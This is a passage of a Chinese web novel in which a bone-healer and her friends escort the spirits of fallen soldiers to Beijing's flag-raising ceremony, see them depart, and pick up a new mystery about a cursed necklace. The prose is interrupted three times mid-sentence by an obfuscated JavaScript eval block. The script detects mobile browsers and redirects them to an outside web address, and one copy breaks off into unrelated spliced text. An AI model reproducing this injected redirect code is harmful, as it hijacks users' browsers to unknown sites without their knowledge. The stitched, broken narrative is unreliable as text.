“你们这些年轻娃娃,一天天饭不好好吃,就知道减肥减肥,减啥子肥?像我孙女那种自己要减肥的,我也不好说。我一个当爷爷的都不说,你还管人家女娃儿胖不胖?你又不是她爹!” 彭越是个好脾气,被这么一说非但不生气,反倒真的反思起来。他快步跟上阚铭,“想吃什么吃什么,不够我买单!” 阚铭把甜筒的最后一点咽下去,笑眯眯地回答他,“不用,我有钱。” 一条商业气息十足的街巷还不足以让人为之停留太久,但它周边的胡同却值得。走过茅盾故居、可园和荣禄府西洋楼,又在僧王府和文煜宅逛了一圈,远来的游人这才有种被人文气息和历史底蕴填满的充实感。 卖糖葫芦的老大爷把糖葫芦绑在后座上,自己则推着自行车走街串巷。到这时候,郭卫国才买 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14790186|142863||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下今天的第一样东西——两串糖葫芦。 “这糖葫芦好,山楂又大又红,糖衣也裹得厚,一看就好吃。”凌岓跟着买了两串递给姜泠,“尝尝吧,肯定不亏。” “我说老同志,您这牙能咬动嘛?”彭越总爱抓着些莫名其妙的事情问,“再说了,糖葫芦现吃最好,拿个塑料袋装起来算怎么回事儿?” “我这不是买给我自己吃。”郭卫国把装糖葫芦的袋子小心翼翼扎紧,一脸神秘地告诉彭越,“我们连以前有个十四岁的兵,个头才到我的胸口这儿。他以前老跟我们念叨北平的糖葫芦,好不容易来一趟,说什么也得给他带两串回去。” “……”彭越有点觉得自己嘴欠了,他叫住卖糖葫芦的大爷,学着本地人的强调说,“叔,再给我来十串儿,两串儿不够。” 大爷狐疑地看了一眼年轻人,一边给他取糖葫芦,一边嘟囔,“胃口不小啊…” 也不管郭卫国愿不愿意,彭越一股脑把十串糖葫芦塞进他手里,然后就大步流星地走到最前面去了。 老战士一时间有点反应不过来,扯住战友老夏的袖子小声嘀咕,“娃是个好娃,心也是个好心,就是有点浪费粮食。” 吃完涮羊肉回到酒店,彭越还在回味今晚的糖蒜和麻酱。 “要不然说‘一方水土养一方人’呢!以前我一说我吃火锅放麻酱,我那些川渝朋友们都让我自己单开一桌。你看看,首都人民不就很爱吃麻酱?当然,他们的麻酱的确是很香…” “诶,这些手链颜色怎么变了?”阚铭没空搭理老板对美食的点评,她在进门前把手链从腕上摘下来,却着实被上面串珠的颜色惊了一下—— 来之前,玻璃串珠里的粉末虽说颜色深浅不一,但总体都是灰褐色的。现下回来,这些灰褐色的粉末颜色却变成了有些发亮的浅金色,一眼看上去,和玉玦在山岗上发出的光一样。 “这…骨灰应该,不至于变色吧。”彭越看了一眼他的手链,也一样变成了这种浅金色。 “这不是变色,这是愿望实现了一部分之后的必然表现。”姜泠对此见怪不怪,“你把这个当成老前辈们对我们今天的好评就是了。” “原来如此…”古董店的老板和修复师不约而同地做出一副恍然大悟的表情,然后各自捧着手链回房去了。 在灯火通明的城市里一般很少能看到星星,首都也不例外。高楼大厦和霓虹灯藏起了星星的光,却没挡住月亮的颜色。玉玦仍在散发着柔和的金光,金光上面,浮现出一群剪影一样的人像。 “明天一大早,我们就去看升旗。本来打算十一当天去的,可是大家都说那一天人会特别多,挤都挤不进去,所以择日不如撞日,干脆明天去。”姜泠对玉玦上的“人”说,“最主要的是,五天时间很快就到了,等到十一,恐怕就…” “莫事,莫事。”其中一个人像憨憨一笑,“能让俺们回来看一眼就已经够高兴的了,知足常乐嘛!” “就是就是!”另一个人像点头附和,“现在的日子真好啊。我小时候根本没有钱买糖,吃肉都是只有过年才能吃上的!” “现在的衣服也漂亮,有那么多颜色和图案!” “可不是!额家以前三个人穿一条裤子,谁要出门、谁有急事,裤子就给谁穿!” “还有那些大楼,以前只听洋人说过…” 玉玦上的人们叽叽喳喳讨论起今天看到的一切。尽管这只是幅员辽阔的大地上一座城市的样子,却也足够让他们兴奋了。 “你们的家书都在路上了,明天升旗回来,我再去问问进度。”姜泠听他们热火朝天地讨论,心里既高兴又低落。她斟酌着打破这片热烈的气氛,犹豫着问道,“过了明天,就彻底要走了。你们怕不怕?” 气氛短暂地静默了两秒,随后又热闹起来。 “怕啥!本就是死了的人,难道还怕这?” “就是!老子炸药包都敢扛,哪个会怕这种事情?” …… 他们说得轻轻松松,姜泠也在这样的“轻松”中有所释然。她看着窗外一轮明月,心里有说不出的感慨万千。 74. 第七十四章 凌晨三点整,大半个城市都在睡梦中,姜泠也不例外。她刚梦见师父在眼前对她说着什么,就被一阵砸门声叫醒了。 “走,去看升旗!”阚铭站在门口,怀里抱着一罐八宝粥问,“喝不喝?” 刚被叫醒的姑娘摇了摇头,揉着眼睛洗漱去了。等她出门时,阚铭又不知从哪儿弄来一罐热气腾腾的玉米粥和两个青菜香菇馅的包子。食物被塞进姜泠怀里,塞给她的人连嘴里的烧麦都还没来得及咽下去就开口了“ “趁热吃,趁热吃,不吃就凉了。” “谢谢,但是…” “但是啥啊!人是铁,饭是钢,一顿不吃饿得慌!”阚铭现在不是饿得慌,她更多的是噎得慌,“入秋了,北方很冷的!吃口…吃口热乎的对肠胃好。” 话刚说完,她又转头走了,边走边嘀咕,“得找点水喝,要不然把人噎死了…” 包子还是热的,姜泠抱着早餐哭笑不得。最近她总觉得身边人可爱,不知是玉玦被慢慢修复的原因,还是她自己的原因。 阚铭很有先见之明——如果不是她积极给大家分早餐,恐怕一出酒店就要被迎面而来的冷风吹个透心凉。走在路上,沿线的商店和居民楼都还熄着灯,快到天安门的时候,就能渐渐感受到城市即将从黎明中被唤醒的氛围了。 到达目的地,远远就看到五个安检口已经有人在排队了。刚下过一阵秋雨,北京的凌晨很冷,排队的人群中有自备小马扎靠在背后的围栏上浅睡的,也有裹着大棉袄正瑟瑟发抖的。但人们脸上的表情大差不差——大多都是兴奋又期待的。 三号、四号和七号安检口正对着旗杆,排队的人数也最多。人潮偶尔往前推一推,难免就会有人被踩到。刚巧,凌岓就是这一波被踩到的“幸运儿”之一。他下意识回头看,结果听见一个奶声奶气的声音从下面传来给他道歉。 “叔叔对不起!”看起来刚刚五六岁的小姑娘穿着一件红外套,脸上画着一面国旗,手里也攥着一面国旗。直到她说话,家里大人才把她抱起来。 “叔叔对不起,我不是故意的。”小女孩的脸被冻得发红,一双眼睛扑闪扑闪地眨着看向被她踩了的人,态度十分诚恳。 凌岓本来也不是爱计较的人,何况面对这么可爱的小朋友。他笑着说“没事”,转头继续排他的队。 姜泠站在他前面,越想越觉得好玩,于是打趣道,“从没见你说话是这种语气。” “我平时说话也不凶吧。”凌岓仔细想了想,怎么都觉得自己是个好脾气。 “不凶。”姜泠笑说,“我甚至可以想象到你以前穿军装的样子了。我猜,你以前也是那种大人孩子都最信赖的解放军叔叔。” “那是当然。” 正当两人说笑之际,后面的小女孩又拉了拉凌岓。后者一回身,差点被戳了个正着——小姑娘正拿着五个小红旗递给他。 “谢谢你!但叔叔用不了这么多,拿一个就够了。” “给阿姨也给一个。”别看攥着旗子的人年纪小,可说起话来却鬼灵精怪得很。 “阿姨?” “就是叔叔的老婆呀。”小女孩甜甜一笑,才不管大人尴不尴尬,“漂亮阿姨也要有红旗!” “哦,你说得对。”凌岓把一面红旗递给自己前面的人,然后又把头转回去,“漂亮阿姨没错,但她可不是叔叔的老婆,不能乱叫哦。” “迟早会是的。” “倩倩说啥呢!”抱着孩子的大人也觉得有些冒犯了,忙不迭致歉,“抱歉啊,这孩子就爱乱说,但她不是那个意思。” “没事,童言无忌嘛。”凌岓嘴上这么说,心里却莫名生出一股美滋滋的感觉。 姜泠站在前面,把后面的对话和动静听得一清二楚。她没再多说什么,后面人还想再续上刚才的话题,她也只是应付一句,“马上就要升旗了,认真看。” 天边露出鱼肚白,最早从地平线上探出头的阳光带来一道早霞,晨霞渐渐驱散了夜色,古老的城楼缓缓披上一道金辉。 霞光略过两个老人的面庞时,仪仗队出场了。整齐划一的步伐在广场响起,嘈杂的人群立时便安静了下来。一步、两步、三步——从出场走到旗杆处,仪仗队的每一步都像鼓点,和现场观众的心跳重合在一起。 “起来,不愿做奴隶的人们”——国歌奏响的一瞬间,再没有哪个时刻能比之更神圣、更庄严。这些从四面八方赶来的人们注视着红旗慢慢升到顶,又看着它在万道霞光与初升太阳的金辉中飘扬,无不热泪盈眶。 凌岓和彭越注视着红旗,一腔热血直直冲上头——在训练场上、在洪水冲垮的废墟中,他们无比清楚红旗的意义。毫不夸张地说,在灾难发生的地方,只要还有一面国旗在,受灾的人们就有希望,人就有坚守下去的动力。 郭卫国和夏正德更不用说。两位老战士平时说起话来总不着调,可这个时候却比任何人都严肃。飘扬的旗帜上有他们的鲜血,也有曾经那些战友的鲜血。眼看着红旗升起,老人的视线一片模糊,当年的炮火声和冲锋号声在耳边重新响起,最后消散在国歌之中。 无数倒在动荡年代的身躯换来了这片大地的安宁,在有机会替他们一睹今日盛世的人看来,每一次升旗都像是一种回应:它告慰着烈士的灵魂,诉说着未曾遗忘的思念,也讲述着正在发生的一切。 红旗上的五颗星星和旗帜一同在风中飘扬,迎着黎明,身披阳光,叫在场众人看了,顿生力量感。 或许是过于投入,也或许是太过激动,一行六人只顾着对国旗行注目礼,谁也没注意到自己手腕上戴着的玻璃串珠在国歌响起的一刹那变红,然后慢慢转为太阳一般璀璨的金光。 升旗结束,人潮渐渐散场,两位老人对着旗帜标标准准敬了一个军礼,这才噙着泪花离开。刚走到安检口外,就有年轻人围了上来。 “爷爷,您是老兵吗?” “那何止,这位可是参加过抗日战争、解放战争和对越自卫反击战的老战士。”不用老人亲自开口,彭越会主动成为他们的代言人。 “好厉害!”只要把简历往出来一摆,就足以收获一片赞叹,“我们能跟爷爷合个照吗?” “两位老同志,能吗?”这种事情得尊重个人意愿,所以还是要征询老人们的意见。 夏正德正了正军帽,重重点了点头。见状,郭卫国也跟着点点头,一同站到了年轻学生中间。 摄影师阚铭上线,给老人和学生们在旗杆和天安门前都拍了照,每一组角度拍完,她都会极为贴心地给大家看一看,如果不满意,还负责重拍。 等拍完,其中一个短发的年轻女孩面向两位老兵问,“爷爷,我也是军人,九月份刚入伍,海军。我后天就要回连队了,在这里能遇到您,还觉得挺有缘分的。” “好娃娃,好娃娃!”老夏同志不住地夸,“这样算起来,我们两个也能说得上是战友咯。” “听您口音,好像是四川人?”年轻人问。 “是,我是四川广安的。” “巧咯不是,我是四川华蓥的,就在广安边边上!” 女孩的一口普通话十分流利地切换成家乡方言,让老夏更激动了,一连说了几个“好”。 “好!真给我们四川老乡长脸!这下子不单单是战友,还是四川老乡诶!” “老乡好!”来自华蓥的年轻女战士向老兵敬了个礼,郑重其事道,“我是您跨越七十多年的战友,我代表我自己,向老兵致敬!” 立正,对视,敬礼。阚铭偷偷记录下这一幕,忍不住感叹道,“这就是传承吧,某种责任或者精神的传承。” “真好。” 看多了生离死别,骨医第一次觉得生死不是割裂的。□□的离开并不意味着销声匿迹,能让某种成为力量的东西传承下去,这或许正是一个民族能够不断延续的原因之一。 趁着新老战士对话之际,姜泠看到了手腕上玻璃珠子里的光。她用指腹触摸上去,串珠上还有一丝不明显的暖意。 严格来说,这些流沙一样的粉末是逝者的骨血,骨血融于土地下,就成了这样的形态。这些“流沙”背后是逝者消散不去的灵魂,因为有未竟的事,所以遗憾长存,逝世后的灵魂也徘徊在当年的土地上久久没有离开。串珠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14803492|142863||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上的温度就是他们灵魂骨血的温度,等到金光消散,热度流失,前人的遗憾也就不复存在了。这也意味着,他们将彻底离开,只剩知道这段往事的人还记得住他们的名字。 “还剩一天时间,要不要想想再做点什么?”太阳已经完全升起来了,阳光照在人身上,驱走了清晨的寒意。 “做点什么呢?”凌岓抬头看了看天,又看了看手串,突发奇想,“今天有没有哪里放烟花?” “我搜搜!”一分钟以后,彭越摇头回复,“没有烟花。” “今年也没有阅兵,有也不一定赶得上。”阚铭刚想起来一茬,自己就把这个念头否定了。 “今年没有,以前有啊。”姜泠若有所思,“找个大点的屏幕,然后我们和老前辈们一起,回顾回顾历史?” “行啊。” 以往都是卫斯诚负责“后勤保障”,姜泠没想到的是,凌岓的效率比师弟还要高。两个小时不到,会议室和大屏幕就全都搞定了。 “明明快要放假了,这一进门,有种进公司开会的紧迫感。” 阚铭打量着会议室,总觉得哪里怪怪的——长条形的桌子周围有二十张黑色皮面椅,每个座位前都放着一小瓶矿泉水和一个话筒,长桌最中间放着一捧花蓝和一个投影仪——这就是她以前去合作单位开会时候的标准配置,连矿泉水都用的是同一个品牌。 “开会好啊,开完会就能调休了。”彭越随便拉开一把椅子坐下,摆出一脸认真倾听的架势。 “嗯,开会好。凌总有何指教,属下洗耳恭听。”——彭越嘴里向来是没有正经好话可以听的,但姜泠也接着他的话茬开玩笑,这倒是很不常见。 “咳咳。”凌岓清了清嗓子,正襟危坐,“今天把大家召集在此,主要是为了,为了不浪费剩下的一天。买票买不到,别的地方去不了,那么我们就在回去之前,给老前辈们展现一下变化…好了装不下去了,直接看屏幕吧。” 从1945年到现在,七十多年的巨变都呈现于荧幕上。阚铭坐得端正,很像上课认真听讲的好学生。 凌岓悄悄出门接电话,得到关于家信的反馈。等到第一届春晚放完,他才把姜泠叫出门外。 “老郑和之胖他们来消息了,一百五十五封信,有十七封无人查收,还有三封丢件了。丢件的已经重新发出去了,我们什么时候告诉他们?” “等把你找的这些都看完吧。”姜泠瞥了一眼会议室,现在在放神舟五号首飞成功的片段。 “真没想到,你也会爱看春晚。” 一道门仿佛楚河汉界,里面是热热闹闹的,外面的两个人却在冷冷清清的空旷走廊里闲聊。 “以前没看过。”姜泠笑得很轻松,“以往全靠师父和小诚给我描述,然后靠自己的想象力去猜那些画面。” 凌岓哑然,总觉得自己说了什么罪不可赦的话。 “我也没看出来,你和彭越会有这个耐心陪老人看电视。”为了避免冷场,冰山女士破天荒主动找了一次话题。 “我还是挺尊老爱幼的。小时候哄爷爷奶奶高兴,全家就数我最拿手。”凌岓想了半天,还是决定绝口不提自己小时候干过的坏事。 “挺好的,说明你有一个很幸福的家庭。” 骨医游走于四面八方,说是为死者医骨,可最后总也绕不开活人的世界。好的坏的,真诚的伪善的,形形色色的人和各种各样的家庭她都遇到过。大部分时间她对此无感,能让她觉得憎恶的属少数,也只在极少的时间中,她会羡慕别人有一个完整又温馨的家庭。 “明年过年,邀请你去我家看春晚?”凌岓这句话完全没过大脑,自然而然就脱口而出了。话说出口,他愣了一秒,赶紧找补道,“我是说,都在一个城市,邀请你和小卫同学一起过年,人多热闹。” “那感情好啊!”彭越从门里探出头,一脸八卦地问,“聊什么悄悄话呢?” “去!你是猹吗?一天净想着吃瓜!” “行吧,那不吃了。”彭越颇为可惜地结束这个话题,“我来报告一声,姜泠同志,你的玉又发光了,要不要进去看看?” 75. 第七十五章 突发事件 手串放在桌子上,玻璃串珠还是完好无损的,里面却已经空了。 流沙质地的粉末筑成了一个个小沙人,这些“人”在玉玦的光芒中生长出血肉。柔和的光芒骤然变亮,只刺眼了一瞬,再看时,空大的会议室里挤满了穿着旧军服的人。他们中大多都是熟面孔,是前不久刚刚在山岗上见过的人。 “不是还有一天吗?这还剩下半天,咋都出来了?”阚铭“蹭”一下站起身,挤到太爷爷身边去了。 “指定是春晚太难看,给老前辈们看无语了。”彭越自有一套论断。 “那不应该,我放的是最经典的那几年…” 贫归贫,凌岓还是把寄出家信后的消息告诉给了老前辈们。老郑和之胖也是细心人,连每一封家信是谁签收的都追踪到了。表格里,一个名字对应着一两行句子,这些句子要么有关于前辈们的家人现状,要么有关于他们的家乡。 三封丢件的和十七封无人查收的家书信息被罗列在最后,凌岓没有如实相告。看着那些热切的目光,他实在说不出“您家里已经没人了”,或是“没找到可以收信的人”这种话。到了这个地步,他只好撒谎,拼凑出一个还不错的结果告知剩下的二十人。 “骗人,不太好吧。”彭越理解战友的想法,却还是有点过意不去。 “哎呀你这人就是穷讲究。”阚铭背过身,压低嗓子说,“善意的谎言——给他们一个还不错的结果,总比让他们怀着伤心和失望离开要好吧。” 等到最后一个名字念完,凌岓抬头,对上一个看起来比他还小的“前辈”的目光。这个眼神里包含的东西太多,有期待,有鼓励,还有感谢……他形容不出来,却能记很久很久。 “要走了?”姜泠知道自己问了句很多余的问题,“还剩一点时间的。” “不留了。”领头的人摆摆手,“想做的,你们都替我们做了;想看的也都看见了。家保住了,国也很好,这就足够了。” “老阚,再多待会儿呗。” 所谓的隔代亲在阚家祖孙身上表现得淋漓尽致。还没相处多长时间,阚铭已经直呼太爷爷为“老阚”了。老人家也不生气,反而无比慈爱地摸了摸曾孙女的头: “你是好娃儿,给老太爷长脸!要好好工作,但也要注意身体。该吃就吃,莫听那些不让你吃饭的浑话。以后要是找上曾孙女婿了,一定要带到我坟头给我看一哈。他要是敢欺负你,我就带着这些战友半夜三更站到他床头吓死他!” 阚铭听得又哭又笑,拽着太爷爷的衣服袖子怎么都不放手。 “回去以后,跟你婆婆说,她爸过得好着呢!”阚兴华拍拍曾孙女的背,最后叮嘱了一句,“不管到啥子时候,健健康康、平平安安永远都是最重要的。要是工作不好了,或者不高兴了,就来跟老阚说说,到处耍一耍,莫戳锅漏搞啥子自杀[1]。” “记到了。”阚铭模仿着老人的腔调回答他,“以后耍朋友要带给你看哈,他要是欺负我,你可莫打麻麻鱼[2],要真的把他吓死!” 祖孙两个相视而笑,直到笑到眼眶里的泪花直打转。 “好了,该走了。”连长一声令下,一会议室的老兵都站直了,“谢谢你们。有你们在,我们放心。再见了。” 眼前的人开始变得模糊,封闭的会议室里隐约出现了一条不见尽头的大路,要走的人踏上这条路,身影就远去了。他们挥着手,离开了这个繁华太平的世界。他们的姓名和他们一起消失在长路上,但他们换来的一切却屹立如初。 等最后一个背影消失在视线后,光芒散尽,玉玦回到了普通玉的样子。太阳西沉,华灯初上,窗外红旗飘飘,街上欢声笑语,这里的世界与离开的人似乎已经没有关系了,可实际上,土地之下曾付出的鲜血已经成为一块块基石,守护着这片土地上的繁荣昌盛。 阚兴华临走时留给阚铭一张字条,上面写着他想对女儿说的话。阚铭怕自己忘了,还特意拍了照备份。待到一切尘埃落定时,她又想拿出来看,照片没了,字条也没了。 “逝者已逝,即便是这一次见了面,他们和我们,也总归是两个世界的人了。”姜泠想试着安慰寻亲的同伴,“活着的人和逝去的人中间有一道不可跨越的鸿沟,如果他们的东西能留下,那时间线或许会因此发生改变。所以…” “我明白啦,只是心里有点难过。你知道的,人越长大,就越学不会面对分别。”阚铭释然一笑。 “那走吧,我请大家吃个饭,就当提前欢度国庆了。”凌岓一拍手,心里却有别的打算。姜泠朝他微微点了点头,决定另寻机会表达谢意。 来北京不能不吃烤鸭。一片一片油亮鲜香的鸭肉和黄瓜、葱丝、甜面酱一道摆在桌上,看起来的确十分诱人。铁条做成的圆盘能让肉受热均匀,故而炙子烤肉一上桌就受到了一致好评。不出意外,主食必须是炸酱面:每一根面条上都裹着肉酱汁,再就着脆爽清甜的黄瓜丝一起下肚,既能饱腹,也能满足味蕾的要求。 “到什么地方吃什么菜,我就从不认同美食荒漠这个说法,哪个地方都有自己的特色,只有吃不惯美食的人,不存在没有美食的城。”彭越一边吃,一边发表关于美食的“高见”。 凌岓不说话,又给在座各位的青花杯子里斟满了酒。这酒也很奇特,它既不是十分名贵难得的牌子,也没有新奇小众的口味,但喝下去却绵柔醇厚。凌岓说这是朋友家自己酿的,其他人就也不做深究。 次日一大早起来,凌岓和彭越等人打招呼,在言语之间发现对方对这两日发生的事情都已不记得了。来之前,两位老人跟家里人说的是报了旅游团出来玩,现在他们的记忆里也的确如此。 阚铭也是,她记得拿了太爷爷的遗物,还记得夏正德替太爷爷捎来一封留给奶奶的,相隔几十年的口信。至于曾亲眼见证的重逢,她一概忘记了。 卫斯诚一大早来了电话,说师父的失踪和刘猛遇袭的事有关,于是姜泠便跟其他人告了别。走之前,彭越坚决要把凌岓留下,说什么都要带他一起回金宁再多玩几天,故此,姜泠便一个人匆匆登上了飞机。 临起飞时,熟悉的声音从耳边传来,“要不要盖条毯子?这两天还是挺冷的。” 姜泠蓦地睁开眼,惊讶道,“你怎么?” “金宁想去随时都能去,精神病院那个事儿可不是随便什么人都能遇到的。好歹我当时也是帮过忙的,知情权总该有一点吧。” “那你其实跟我发条信息就行,我又不会藏着掖着不告诉你。” “我想跟你一起来。”相处了一段时间,凌岓发现只有直白和真诚能让姜泠说不出堵人的话,事实也确实如此——这句话一出口,骨医立马保持沉默。 气氛突然陷入诡异的尴尬,凌岓只得继续做他的氛围组,“要不要毯子?” “不用了,不太冷。”答话的人原本都已经闭上了眼,然后又在尴尬中睁开,“谢谢你。” “谢我什么?” “谢你配合我改变他们的记忆。”这里的“他们”指的自然是彭越一行人。 “不用谢,我理解。”凌岓顿了一下,又问,“只是这么做,会不会有点残忍?” “你是说,未经允许擅自抹除他们记忆里算得上珍贵的一部分吗?” “嗯。” “没办法。从我第一天做骨医起,就知道生死之间是不能被轻易打破的。骨医就像是游走在生死边界的漏洞,能连接生死,但一旦把握不好,也未必有好下场。”每当说起自己可能面临的命运时,姜泠总是云淡风轻的。 她没给凌岓探究的机会,又问,“我一直都很想问你,蓉市那晚所有人都喝了阿诚带的酒,为什么你还会记得那些事?” “我心眼儿多,把酒换成水了。”凌岓坦白,“斯诚的演技不太行,给人下药之前应该再表现得更自然一点。但在六溪,你有机会让我和村民一起忘掉的,为什么又放了我一马?” “不知道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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车靠在春亭小筑门口,这是卫斯诚家自己开的私房菜馆,里面各种菜系都有,厨师是曾在国宴中担任过主厨的。厨师的规矩颇多,既要保证顾客吃进嘴里的菜品质量,又要保证每道菜的摆盘、数字和选材是最合时节的,于是三天之内只接一桌成了雷打不动的要求,就连老板本人来求情加队也不行。故此,卫斯诚一边骂骂咧咧嫌弃自己家产业破事一堆,一边又提前好几天就排队订位置。 见回来的两个人一前一后走着,中间相隔几米远,别说鬼精鬼精的小卫,就是洪钟也看出不对了。 “听说事情办得很顺利,你们怎么都哭丧个脸?” “阿诚,问你凌哥要下账号,把最近一段时间出去的花销转给他。”姜泠拉开靠窗的椅子坐下,咕咚咕咚喝完一杯水。 卫斯诚投去询问的目光,后进来的凌岓不说话,瞥了一眼姜泠,然后摇摇头。 “我还以为怎么地了呢!敢情是小凌子问你要钱啊,来人,掌嘴!”洪钟一开口就像在说相声,气氛立马就缓和了。 眼见几个人都笑出了声,他又说,“这就对了嘛,哪有一回家先谈钱的事儿,你小子也太不懂事了!” “是是是,我纯属抽疯,该赔罪。”凌岓附和着洪钟的话自责。 “你们这话也很奇怪。”姜泠放下茶杯,正色道,“你们是以为我生气了,在闹情绪?” 洪钟想问“难道不是吗?”,可一看见姑娘又成了一座冰山,他赶紧把嘴边的话咽了下去。 “我没有在闹情绪,你们也不要用那种哄人的眼神看我。我觉得他说的对,亲兄弟也要明算账,一码归一码,该付的费用不能少。至于这次去衡阳,一是出于我个人意愿,就当圆满一下家国情怀;二是刚想起来以前的事,顺道练练手。所以不用给我钱,就当朋友之间互相帮忙。” 话都说到这儿了,再不表态也不合适。凌岓点点头,“那你就当我请朋友一起出去玩了一趟,一来一回,扯平了。” “也行。”一根筋脑袋答应得利索,剩下卫斯诚和洪钟面面相觑。 “好了好了,先吃饭,话说开了就行。” 卫斯诚难得当一次和事佬,乐在其中。谁想一波刚平,一波又起,第一道凉菜刚摆上桌,外面就传来几声惊呼—— “着火了!快跑啊!着火了!” “快打119!着火了!” …… 不远处的房顶上冒出滚滚浓烟,隐约可见几簇往上蹿的火苗,餐馆里的服务员全都往外跑,门口开始陆陆续续围上了看热闹的人。 76. 第七十六章 新线索 小筑里的食客跟随其他人跑出去了才知道,并非小筑起火,而是后面一个挨得很近的工地起了火。火势很大,没几分钟就吞没了半栋楼;浓烟呛人,即便是站在春亭小筑门口朝起火点观望都难免被熏得一把鼻涕一把老泪。 消防队很快就赶来了,围观的群众也被疏散开来。出来时,大家都没来得及拿自己的东西,眼见云梯升起,火苗在高压水枪下渐渐熄灭,这才重新回去各干各的事。 “好好的建筑工地怎么会起火?”回到座位上,卫斯诚就此话题闲聊。 “可能操作不规范吧。”浓烟渐渐淡去了,凌岓看了一眼起火的方向,“希望没人受伤。” 要说小筑的主厨也的确有点水平,折腾了这么一番后,依然还能保持水准做出六荤五素一个汤,连甜点的味道都恰到好处,丝毫没有受到浓烟和突发状况的影响。也正因食物足够美味,刚才的小插曲很快就被众人抛诸脑后了。 喝完一碗汤,闲聊的话题也都差不多结束了,卫斯诚才开始说正事。 事情还得从姜泠记起自己身份的前一天开始说起,彼时卫斯诚正在追查刘猛和张强的事,无独有偶,他发现刘猛和洪钟的师叔曾有过交集。 “你们还记不记得,当时计枵寄来的那两张绑架照片后面写了什么?” “写了什么?”这个问题唤醒了当时的记忆,凌岓反应过来,迟疑着回答道,“我记得好像是说什么低贱命,还有什么破烂身?” “低贱身,破烂命,心怀鬼胎千金魂;七月七,九月九,月隐花落披孝衣。”洪钟最近和卫斯诚整天待在一起,早已经把这几句话背得滚瓜烂熟。 “这句话,有什么问题?”姜泠不解,“和小猛又有什么关系?” “别急,听我一件一件说。”卫斯诚呷了一口茶,从头说起。 从古城出来以后,卫斯诚虽说失联了一个多月,但他并没有真的荒废度日。他先去杨和安的医院里看了刘猛,后者的神智稍微清楚了些,但也仅限于个别时候能回答上别人的几句问话。 卫斯诚原本也是有苦难言,在不经意间向神智不清的人叨叨起洪钟师叔从古城出来以后的那番话,谁料刘猛听完,瞳孔骤然放大,一把捏住了卫斯诚的肩膀。 “他叫什么?”问这句话时,刘猛似乎是清醒的。 “马成林。听说他人还不错,收养了无家可归的小孩,可他说出来的话实在让人…” “就是他,就是他…”听见这个名字,刘猛浑身都在发抖,他撕扯着自己的头发,不停地重复“马成林”这三个字。 卫斯诚觉得莫名其妙,却又怕错过什么关键信息。于是在医护人员的配合下,他努力安抚了刘猛的情绪,并从对方嘴里获知了一些离奇怪诞的事。 据刘猛回忆,在去西南查探骨洞之前,他那位许久不曾见面的亲姐姐突然找上门来,送给他一条黄金项链。那项链掂起来很有分量,不像是假的。刘猛的姐姐把项链交给他以后,说了些客套的理由,然后又在临走前反复叮嘱他一定不要摘下来,否则会惹祸上身之类的话,这才买票回家。 刘猛也是殷漠在外出寻历时偶然捡到的走失人口,后来回了家,受父母影响,他多少也有点迷信。这位亲姐姐年长他十六岁,自他被送回家起,两人就很少见面,更别说知道刘猛现在的住址了。 偏偏赶在出远门的前一天,她突然前来送这么贵重的东西给他,又说出这种神神叨叨的话,这叫刘猛不得不多心。几番考量之下,他还是戴上了金项链,生怕姐姐说的话成真。 谁成想,怕什么来什么,自从戴上了这条金项链,刘猛几乎就没顺利过,而链子本身也在他们一行人进山时现了原形。 “那根本不是项链,那是用…用人的指骨穿起来的东西。在那个洞里,项链活了,它的指甲很长很长,一把就掏出了小明的心。”回忆起遇袭的场景,当事人依然觉得匪夷所思。 按照他的说法,从湔山出来以后,队伍去了另一座不知名的山。在那座山的山洞里,他脖子上的金项链突然长出了手,那只手附在刘猛身上,对同伴发起了攻击。 于是,一行七人,三个人被拧断了脖子,两个人被掏出了心脏,还剩下一个奄奄一息的张强时,刘猛才找回了一点对身体的控制权,手起刀落砍断了自己的手掌,这场攻击才得以停止。 醒来以后,刘猛发现自己在医院里好端端躺着,金项链已经不翼而飞了,可同伴被残害的场景始终在眼前挥之不去,他整个人的精神也就慢慢失常了。 当卫斯诚问起这和马成林有什么关系时,刘猛斩钉截铁地告诉他,金项链上面刻着“马成林”三个字,自己亲姐姐也曾透露过这是从一位道行颇深、姓马的大师那里求来的。 顺着刘猛给的线索往下查,查到的东西更是大大出人意料。 原来马成林在离开说书人的行当以后,曾干过一段时间的风水先生,而让他从招摇撞骗到名声大噪的转变则是由于一本书,那本书里记载着许多秘术,即便是一知半解,也足够让人掌握许多风水上的知识了。 有了这本书,马成林的生意一度十分红火,直到有人掀了他的摊子,他本人也差点被打死,这风水生意才彻底做不下去了。 “谁掀摊?仇家找上门了?”凌岓越听越觉得有意思,追问道。 “算是吧,他算被连坐。”卫斯诚看了一眼洪钟,欲言又止,后者却神情自若,主动接上了他的话。 “严格来说,是我师叔的爹,也就是我祖师叔招来的祸事。” 洪钟说,那本奇书是马成林的父亲留下来的。早些年,老马偷偷摸摸给人看风水看相的时候,曾干过不少缺德事,譬如给人乱指方向,一把桃木剑卖到五位数…… 